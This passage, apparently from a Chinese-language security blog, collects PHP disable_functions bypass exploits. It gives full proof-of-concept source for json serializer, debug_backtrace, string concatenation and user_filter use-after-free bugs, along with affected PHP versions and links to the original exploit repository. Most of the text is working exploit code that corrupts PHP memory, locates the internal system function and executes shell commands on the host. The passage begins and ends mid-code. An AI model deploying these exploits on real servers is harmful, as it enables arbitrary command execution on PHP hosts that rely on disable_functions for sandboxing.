} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

class ryat {
var $ryat;
var $chtg;

function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}

class Helper {
public $a, $b, $c, $d;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if you get segfaults

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);

$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();

$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);

exit();
}

利用 Json Serializer UAF

此漏洞利用json序列化程序中的释放后使用漏洞,利用json序列化程序中的堆溢出触发,以绕过disable_functions和执行系统命令

  • Linux 操作系统
  • PHP7.1 - all versions to date
  • PHP7.2 < 7.2.19 (released: 30 May 2019)
  • PHP7.3 < 7.3.6 (released: 30 May 2019)

exp: https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
<?php

$cmd = "id";

$n_alloc = 10; # increase this value if you get segfaults

class MySplFixedArray extends SplFixedArray {
public static $leak;
}

class Z implements JsonSerializable {
public function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

public function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

public function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

# unable to leak ro segments
public function leak1($addr) {
global $spl1;

$this->write($this->abc, 8, $addr - 0x10);
return strlen(get_class($spl1));
}

# the real deal
public function leak2($addr, $p = 0, $s = 8) {
global $spl1, $fake_tbl_off;

# fake reference zval
$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)

$leak = strlen($spl1::$leak);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

return $leak;
}

public function parse_elf($base) {
$e_type = $this->leak2($base, 0x10, 2);

$e_phoff = $this->leak2($base, 0x20);
$e_phentsize = $this->leak2($base, 0x36, 2);
$e_phnum = $this->leak2($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = $this->leak2($header, 0, 4);
$p_flags = $this->leak2($header, 4, 4);
$p_vaddr = $this->leak2($header, 0x10);
$p_memsz = $this->leak2($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

public function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = $this->leak2($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = $this->leak2($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = $this->leak2($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

public function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = $this->leak2($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

public function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->leak2($addr);
$f_name = $this->leak2($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return $this->leak2($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

public function jsonSerialize() {
global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = new DateInterval('PT1S');

$room = [];
for($i = 0; $i < $n_alloc; $i++)
$room[] = new Z();

$_protector = $this->ptr2str(0, 78);

$this->abc = $this->ptr2str(0, 79);
$p = new DateInterval('PT1S');

unset($y[0]);
unset($p);

$protector = ".$_protector";

$x = new DateInterval('PT1S');
$x->d = 0x2000;
$x->h = 0xdeadbeef;
# $this->abc is now of size 0x2000

if($this->str2ptr($this->abc) != 0xdeadbeef) {
die('UAF failed.');
}

$spl1 = new MySplFixedArray();
$spl2 = new MySplFixedArray();

# some leaks
$class_entry = $this->str2ptr($this->abc, 0x120);
$handlers = $this->str2ptr($this->abc, 0x128);
$php_heap = $this->str2ptr($this->abc, 0x1a8);
$abc_addr = $php_heap - 0x218;

# create a fake class_entry
$fake_obj = $abc_addr;
$this->write($this->abc, 0, 2); # type
$this->write($this->abc, 0x120, $abc_addr); # fake class_entry

# copy some of class_entry definition
for($i = 0; $i < 16; $i++) {
$this->write($this->abc, 0x10 + $i * 8,
$this->leak1($class_entry + 0x10 + $i * 8));
}

# fake static members table
$fake_tbl_off = 0x70 * 4 - 16;
$this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
$this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);

# fake zval_reference
$this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
$this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)

# look for binary base
$binary_leak = $this->leak2($handlers + 0x10);
if(!($base = $this->get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

# parse elf header
if(!($elf = $this->parse_elf($base))) {
die("Couldn't parse ELF");
}

# get basic_functions address
if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

# find system entry
if(!($zif_system = $this->get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# copy hashtable offsetGet bucket
$fake_bkt_off = 0x70 * 5 - 16;

$function_data = $this->str2ptr($this->abc, 0x50);
for($i = 0; $i < 4; $i++) {
$this->write($this->abc, $fake_bkt_off + $i * 8,
$this->leak2($function_data + 0x40 * 4, $i * 8));
}

# create a fake bucket
$fake_bkt_addr = $abc_addr + $fake_bkt_off;
$this->write($this->abc, 0x50, $fake_bkt_addr);
for($i = 0; $i < 3; $i++) {
$this->write($this->abc, 0x58 + $i * 4, 1, 4);
}

# copy bucket zval
$function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
for($i = 0; $i < 12; $i++) {
$this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8,
$this->leak2($function_zval, $i * 8));
}

# pwn
$this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
$this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);

$spl1->offsetGet($cmd);

exit();
}
}

$y = [new Z()];
json_encode([&$y]);

利用 Backtrace UAF

该漏洞利用在debug_backtrace()函数中使用了两年的一个 bug。我们可以诱使它返回对已被破坏的变量的引用,从而导致释放后使用漏洞

  • Linux 操作系统
  • PHP7.0 - all versions to date
  • PHP7.1 - all versions to date
  • PHP7.2 - all versions to date
  • PHP7.3 < 7.3.15 (released 20 Feb 2020)
  • PHP7.4 < 7.4.3 (released 20 Feb 2020)

exp: https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("uname -a");

function pwn($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);
exit();
}

利用 concat operation UAF

此漏洞利用处理字符串连接的函数中的bug。如果 $a.$b 满足某些条件,则可能导致内存损坏的语句。错误报告提供了对漏洞的非常彻底的分析。

  • 7.3 - all versions to date
  • 7.4 - all versions to date
  • 8.0 - all versions to date
  • 8.1 - all versions to date

所有 PHP7 版本中都存在根本问题。但是,较旧的 (<7.3) 版本存在另一个错误,该错误会阻止在代码的某些部分正确释放内存,包括 concat_function 。此漏洞严重依赖该功能才能正常工作,因此在某种程度上,memleak 阻止了内存损坏漏洞的可利用性

exp: https://github.com/mm0r1/exploits/blob/master/php-concat-bypass/exploit.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
<?php

# PHP 7.3-8.1 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=81705
#
# This exploit should work on all PHP 7.3-8.1 versions
# released as of 2022-01-07
#
# Author: https://github.com/mm0r1

new Pwn("uname -a");

class Helper { public $a, $b, $c; }
class Pwn {
const LOGGING = false;
const CHUNK_DATA_SIZE = 0x60;
const CHUNK_SIZE = ZEND_DEBUG_BUILD ? self::CHUNK_DATA_SIZE + 0x20 : self::CHUNK_DATA_SIZE;
const STRING_SIZE = self::CHUNK_DATA_SIZE - 0x18 - 1;

const HT_SIZE = 0x118;
const HT_STRING_SIZE = self::HT_SIZE - 0x18 - 1;

public function __construct($cmd) {
for($i = 0; $i < 10; $i++) {
$groom[] = self::alloc(self::STRING_SIZE);
$groom[] = self::alloc(self::HT_STRING_SIZE);
}

$concat_str_addr = self::str2ptr($this->heap_leak(), 16);
$fill = self::alloc(self::STRING_SIZE);

$this->abc = self::alloc(self::STRING_SIZE);
$abc_addr = $concat_str_addr + self::CHUNK_SIZE;
self::log("abc @ 0x%x", $abc_addr);

$this->free($abc_addr);
$this->helper = new Helper;
if(strlen($this->abc) < 0x1337) {
self::log("uaf failed");
return;
}

$this->helper->a = "leet";
$this->helper->b = function($x) {};
$this->helper->c = 0xfeedface;

$helper_handlers = $this->rel_read(0);
self::log("helper handlers @ 0x%x", $helper_handlers);

$closure_addr = $this->rel_read(0x20);
self::log("real closure @ 0x%x", $closure_addr);

$closure_ce = $this->read($closure_addr + 0x10);
self::log("closure class_entry @ 0x%x", $closure_ce);

$basic_funcs = $this->get_basic_funcs($closure_ce);
self::log("basic_functions @ 0x%x", $basic_funcs);

$zif_system = $this->get_system($basic_funcs);
self::log("zif_system @ 0x%x", $zif_system);

$fake_closure_off = 0x70;
for($i = 0; $i < 0x138; $i += 8) {
$this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->rel_write($fake_closure_off + 0x38, 1, 4);
$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->rel_write($fake_closure_off + $handler_offset, $zif_system);

$fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;
self::log("fake closure @ 0x%x", $fake_closure_addr);

$this->rel_write(0x20, $fake_closure_addr);
($this->helper->b)($cmd);

$this->rel_write(0x20, $closure_addr);
unset($this->helper->b);
}

private function heap_leak() {
$arr = [[], []];
set_error_handler(function() use (&$arr, &$buf) {
$arr = 1;
$buf = str_repeat("\x00", self::HT_STRING_SIZE);
});
$arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array"));
return $buf;
}

private function free($addr) {
$payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr);
$payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload));

$arr = [[], []];
set_error_handler(function() use (&$arr, &$buf, &$payload) {
$arr = 1;
$buf = str_repeat($payload, 1);
});
$arr[1] .= "x";
}

private function rel_read($offset) {
return self::str2ptr($this->abc, $offset);
}

private function rel_write($offset, $value, $n = 8) {
for ($i = 0; $i < $n; $i++) {
$this->abc[$offset + $i] = chr($value & 0xff);
$value >>= 8;
}
}

private function read($addr, $n = 8) {
$this->rel_write(0x10, $addr - 0x10);
$value = strlen($this->helper->a);
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
return $value;
}

private function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->read($addr);
$f_name = $this->read($f_entry, 6);
if($f_name === 0x6d6574737973) {
return $this->read($addr + 8);
}
$addr += 0x20;
} while($f_entry !== 0);
}

private function get_basic_funcs($addr) {
while(true) {
// In rare instances the standard module might lie after the addr we're starting
// the search from. This will result in a SIGSGV when the search reaches an unmapped page.
// In that case, changing the direction of the search should fix the crash.
// $addr += 0x10;
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20180731, 20190902, 20200930, 20210902])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
self::log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}

private function log($format, $val = "") {
if(self::LOGGING) {
printf("{$format}\n", $val);
}
}

static function alloc($size) {
return str_shuffle(str_repeat("A", $size));
}

static function str2ptr($str, $p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p + $j]);
}
return $address;
}
}

?>

利用 user_filter

此漏洞利用了 10 多年前报告的bug

  • 5.* - exploitable with minor changes to the PoC
  • 7.0 - all versions to date
  • 7.1 - all versions to date
  • 7.2 - all versions to date
  • 7.3 - all versions to date
  • 7.4 < 7.4.26
  • 8.0 < 8.0.13

exp: https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
<?php
# PHP 7.0-8.0 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=54350
#
# This exploit should work on all PHP 7.0-8.0 versions
# released as of 2021-10-06
#
# Author: https://github.com/mm0r1

pwn('uname -a');

function pwn($cmd) {
define('LOGGING', false);
define('CHUNK_DATA_SIZE', 0x60);
define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
define('CMD', $cmd);
for($i = 0; $i < 10; $i++) {
$groom[] = Pwn::alloc(STRING_SIZE);
}
stream_filter_register('pwn_filter', 'Pwn');
$fd = fopen('php://memory', 'w');
stream_filter_append($fd,'pwn_filter');
fwrite($fd, 'x');
}

class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
private $abc, $abc_addr;
private $helper, $helper_addr, $helper_off;
private $uafp, $hfp;

public function filter($in, $out, &$consumed, $closing) {
if($closing) return;
stream_bucket_make_writeable($in);
$this->filtername = Pwn::alloc(STRING_SIZE);
fclose($this->stream);
$this->go();
return PSFS_PASS_ON;
}

private function go() {
$this->abc = &$this->filtername;

$this->make_uaf_obj();

$this->helper = new Helper;
$this->helper->b = function($x) {};

$this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
$this->log("helper @ 0x%x", $this->helper_addr);

$this->abc_addr = $this->helper_addr - CHUNK_SIZE;
$this->log("abc @ 0x%x", $this->abc_addr);

$this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;

$helper_handlers = $this->str2ptr(CHUNK_SIZE);
$this->log("helper handlers @ 0x%x", $helper_handlers);

$this->prepare_leaker();

$binary_leak = $this->read($helper_handlers + 8);
$this->log("binary leak @ 0x%x", $binary_leak);
$this->prepare_cleanup($binary_leak);

$closure_addr = $this->str2ptr($this->helper_off + 0x38);
$this->log("real closure @ 0x%x", $closure_addr);

$closure_ce = $this->read($closure_addr + 0x10);
$this->log("closure class_entry @ 0x%x", $closure_ce);

$basic_funcs = $this->get_basic_funcs($closure_ce);
$this->log("basic_functions @ 0x%x", $basic_funcs);

$zif_system = $this->get_system($basic_funcs);
$this->log("zif_system @ 0x%x", $zif_system);

$fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
for($i = 0; $i < 0x138; $i += 8) {
$this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->write($fake_closure_off + 0x38, 1, 4);

$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->write($fake_closure_off + $handler_offset, $zif_system);

$fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
$this->write($this->helper_off + 0x38, $fake_closure_addr);
$this->log("fake closure @ 0x%x", $fake_closure_addr);

$this->cleanup();
($this->helper->b)(CMD);
}

private function make_uaf_obj() {
$this->uafp = fopen('php://memory', 'w');
fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
for($i = 0; $i < STRING_SIZE; $i++) {
fwrite($this->uafp, "\x00");
}
}

private function prepare_leaker() {
$str_off = $this->helper_off + CHUNK_SIZE + 8;
$this->write($str_off, 2);
$this->write($str_off + 0x10, 6);

$val_off = $this->helper_off + 0x48;
$this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
$this->write($val_off + 8, 0xA);
}

private function prepare_cleanup($binary_leak) {
$ret_gadget = $binary_leak;
do {
--$ret_gadget;
} while($this->read($ret_gadget, 1) !== 0xC3);
$this->log("ret gadget = 0x%x", $ret_gadget);
$this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
$this->write(8, $ret_gadget);
}

private function read($addr, $n = 8) {
$this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
$value = strlen($this->helper->c);
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
return $value;
}

private function write($p, $v, $n = 8) {
for($i = 0; $i < $n; $i++) {
$this->abc[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

private function get_basic_funcs($addr) {
while(true) {
// In rare instances the standard module might lie after the addr we're starting
// the search from. This will result in a SIGSGV when the search reaches an unmapped page.
// In that case, changing the direction of the search should fix the crash.
// $addr += 0x10;
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
$this->log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}

private function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->read($addr);
$f_name = $this->read($f_entry, 6);
if($f_name === 0x6d6574737973) {
return $this->read($addr + 8);
}
$addr += 0x20;
} while($f_entry !== 0);
}

private function cleanup() {
$this->hfp = fopen('php://memory', 'w');
fwrite($this->hfp, pack('QQ', 0, $this->abc_addr));
for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
fwrite($this->hfp, "\x00");
}
}

private function str2ptr($p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($this->abc[$p + $j]);
}
return $address;
}

private function ptr2str($ptr, $n = 8) {
$out = '';
for ($i = 0; $i < $n; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

private function log($format, $val = '') {
if(LOGGING) {
printf("{$format}\n", $val);
}
}

static function alloc($size) {
return str_shuffle(str_repeat('A', $size));
}
